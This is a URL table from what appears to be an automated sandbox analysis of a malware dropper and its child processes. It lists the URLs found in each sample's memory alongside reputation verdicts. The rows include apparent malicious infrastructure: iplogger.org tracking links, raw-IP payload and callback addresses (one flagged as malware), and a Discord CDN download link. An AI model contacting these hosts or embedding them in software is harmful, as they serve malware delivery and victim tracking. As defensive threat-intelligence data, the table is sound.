https://iplogger.org/1AJmX4K	em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://135.181.104.248:80/7810405426.zip	real.exe, 00000015.00000002.847192144.0000000000CFE000.00000004.00000010.00020000.00000000.sdmp, real.exe, 00000015.00000002.866252226.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea2317?	F0geI.exe, 00000010.00000003.439873194.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.433710615.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.437329852.000000000076F000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.444668029.0000000000770000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.451511753.000000000076C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15V	ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	namdoitntn.exe, 00000013.00000002.926328708.0000000002B03000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.918068490.0000000003000000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea23177	F0geI.exe, 00000010.00000003.453079932.0000000000796000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.435590208.0000000000796000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000002.515123098.0000000000796000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.440242903.0000000000796000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.438939693.0000000000796000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea23172	F0geI.exe, 00000010.00000003.453079932.0000000000796000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.435590208.0000000000796000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.440242903.0000000000796000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.438939693.0000000000796000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.discordapp.com/attachments/1006526153294618657/1009394950338781266/2.0.2-beta_Nwjkxkwv.j	SETUP_~1.EXE, 00000026.00000002.912546423.0000000002B78000.00000004.00000800.00020000.00000000.sdmp, SETUP_~1.EXE, 00000026.00000002.912783596.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://iplogger.org/1AEX	em1B8DcC72.exe, 00000001.00000003.415087056.0000000002140000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea2317d	F0geI.exe, 00000010.00000003.435590208.0000000000796000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000002.515123098.0000000000796000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.438939693.0000000000796000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.918068490.0000000003000000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://iplogger.org/1AGmX41AGmX4	64957933493888110483826916.21.dr	false		high
https://www.google.com/accounts/OAuthLogin?issueuberauth=1	craw_window.js.3.dr	false		high
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea2317Q	F0geI.exe, 00000010.00000002.515123098.0000000000796000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	namdoitntn.exe, 00000013.00000002.926328708.0000000002B03000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.918068490.0000000003000000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.921012690.0000000002C25000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.923446627.0000000002EB3000.00000004.00000800.00020000.00000000.sdmp, SETUP_~1.EXE, 00000026.00000002.910062673.0000000002B46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.95.11.158/4b2698dc1632e19c326c1c0b31ea2317T	F0geI.exe, 00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, F0geI.exe, 00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.org/1AJmX47	em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	em1B8DcC72.exe, namdoitntn.exe, 00000013.00000000.374306011.0000000000472000.00000002.00000001.01000000.00000007.sdmp, namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000000.387215652.00000000007F3000.00000002.00000001.01000000.0000000C.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000000.411195133.0000000000A13000.00000002.00000001.01000000.00000011.sdmp, ffnameedit.exe.1.dr	false	URL Reputation: safe	unknown
https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p	craw_window.js.3.dr, craw_background.js.3.dr	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://payments.google.com/payments/v4/js/integrator.js	craw_window.js.3.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	31448762808696279021307573.21.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	F0geI.exe, 00000010.00000003.450878255.00000000007D2000.00000004.00000020.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.934759170.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.937747351.00000000031A3000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.929045080.00000000030D2000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.931287871.0000000002CF2000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.932599013.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, 31448762808696279021307573.21.dr	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://62.204.41.126:80	em1B8DcC72.exe, EU1.exe, 00000020.00000000.414112277.0000000001233000.00000002.00000001.01000000.00000012.sdmp, EU1.exe, 00000020.00000002.853532518.0000000001233000.00000002.00000001.01000000.00000012.sdmp, EU1.exe.1.dr	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/dot2.gif	craw_window.js.3.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://iplogger.org/1AJmX4k	em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id5Response	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.918068490.0000000003000000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/cleardot.gif	craw_window.js.3.dr	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://play.google.com	d9aecda7-aaad-42d4-a13e-6131b386f0f8.tmp.6.dr, bb71a22e-4aa0-4605-923a-4dcb178c5ec7.tmp.6.dr, 978787c9-0b67-45d5-9b30-aa32432a6901.tmp.6.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://iplogger.org/1AJmX41AJmX4	64957933493888110483826916.21.dr	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cutt.ly	SETUP_~1.EXE, 00000026.00000002.910062673.0000000002B46000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.org/1AAh	em1B8DcC72.exe, 00000001.00000003.415087056.0000000002140000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://accounts.google.com/MergeSession	craw_window.js.3.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
https://iplogger.org/1AGmX4I	em1B8DcC72.exe, 00000001.00000003.418184704.0000000000819000.00000004.00000020.00020000.00000000.sdmp	false		high
https://iplogger.org/1AFmX4y	em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	namdoitntn.exe, 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	namdoitntn.exe, 00000013.00000002.914713711.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, safert44.exe, 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, jshainx.exe, 00000018.00000002.908049615.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, ffnameedit.exe, 0000001F.00000002.912443520.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://iplogger.org/1AFmX4v	em1B8DcC72.exe, 00000001.00000003.415279884.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/v_total	brokerius.exe, 0000001B.00000000.401599963.0000000000924000.00000002.00000001.01000000.0000000D.sdmp, brokerius.exe, 0000001B.00000002.846627950.0000000000924000.00000002.00000001.01000000.0000000D.sdmp	false		high
